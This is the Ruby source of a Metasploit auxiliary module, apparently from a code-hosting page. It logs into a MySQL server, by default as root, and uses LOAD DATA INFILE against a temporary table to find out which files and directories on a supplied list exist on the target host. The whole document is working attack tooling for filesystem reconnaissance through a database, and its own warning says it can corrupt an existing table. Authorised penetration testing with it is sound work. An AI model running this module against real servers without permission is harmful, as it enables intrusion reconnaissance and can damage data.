Path: blob/master/modules/auxiliary/scanner/mysql/mysql_file_enum.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MYSQL9include Msf::Auxiliary::Report10include Msf::Auxiliary::Scanner11include Msf::OptionalSession::MySQL1213def initialize14super(15'Name' => 'MYSQL File/Directory Enumerator',16'Description' => %Q{17Enumerate files and directories using the MySQL load_file feature, for more18information see the URL in the references.19},20'Author' => [ 'Robin Wood <robin[at]digininja.org>' ],21'References' => [22[ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ],23[ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ]24],25'License' => MSF_LICENSE26)2728register_options([29OptPath.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]),30OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'mysql' ]),31OptString.new('TABLE_NAME', [ true, "Name of table to use - Warning, if the table already exists its contents will be corrupted", Rex::Text.rand_text_alpha(8) ]),32OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])33])34end3536# This function does not handle any errors, if you use this37# make sure you handle the errors yourself38def mysql_query_no_handle(sql)39res = self.mysql_conn.query(sql)40res41end4243def run_host(ip)44vprint_status("Login...") unless session4546# If we have a session make use of it47if session48print_status("Using existing session #{session.sid}")49self.mysql_conn = session.client50else51# otherwise fallback to attempting to login52return unless mysql_login_datastore53end5455begin56mysql_query_no_handle("USE " + datastore['DATABASE_NAME'])57rescue ::Rex::Proto::MySQL::Client::Error => e58vprint_error("MySQL Error: #{e.class} #{e.to_s}")59return60rescue Rex::ConnectionTimeout => e61vprint_error("Timeout: #{e.message}")62return63end6465res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';")66table_exists = (res.size == 1)6768if !table_exists69vprint_status("Table doesn't exist so creating it")70mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);")71end7273file = File.new(datastore['FILE_LIST'], "r")74file.each_line do |line|75check_dir(line.chomp)76end77file.close7879if !table_exists80vprint_status("Cleaning up the temp table")81mysql_query("DROP TABLE " + datastore['TABLE_NAME'])82end83end8485def check_dir dir86begin87res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE " + datastore['TABLE_NAME'])88rescue ::Rex::Proto::MySQL::Client::TextfileNotReadable89print_good("#{dir} is a directory and exists")90report_note(91:host => mysql_conn.peerhost,92:type => "filesystem.dir",93:data => { :directory => dir },94:port => mysql_conn.peerport,95:proto => 'tcp',96:update => :unique_data97)98rescue ::Rex::Proto::MySQL::Client::DataTooLong, ::Rex::Proto::MySQL::Client::TruncatedWrongValueForField99print_good("#{dir} is a file and exists")100report_note(101:host => mysql_conn.peerhost,102:type => "filesystem.file",103:data => { :directory => dir },104:port => mysql_conn.peerport,105:proto => 'tcp',106:update => :unique_data107)108rescue ::Rex::Proto::MySQL::Client::ServerError109vprint_warning("#{dir} does not exist")110rescue ::Rex::Proto::MySQL::Client::Error => e111vprint_error("MySQL Error: #{e.class} #{e.to_s}")112return113rescue Rex::ConnectionTimeout => e114vprint_error("Timeout: #{e.message}")115return116else117print_good("#{dir} is a file and exists")118report_note(119:host => mysql_conn.peerhost,120:type => "filesystem.file",121:data => { :file => dir },122:port => mysql_conn.peerport,123:proto => 'tcp',124:update => :unique_data125)126end127128return129end130end131132133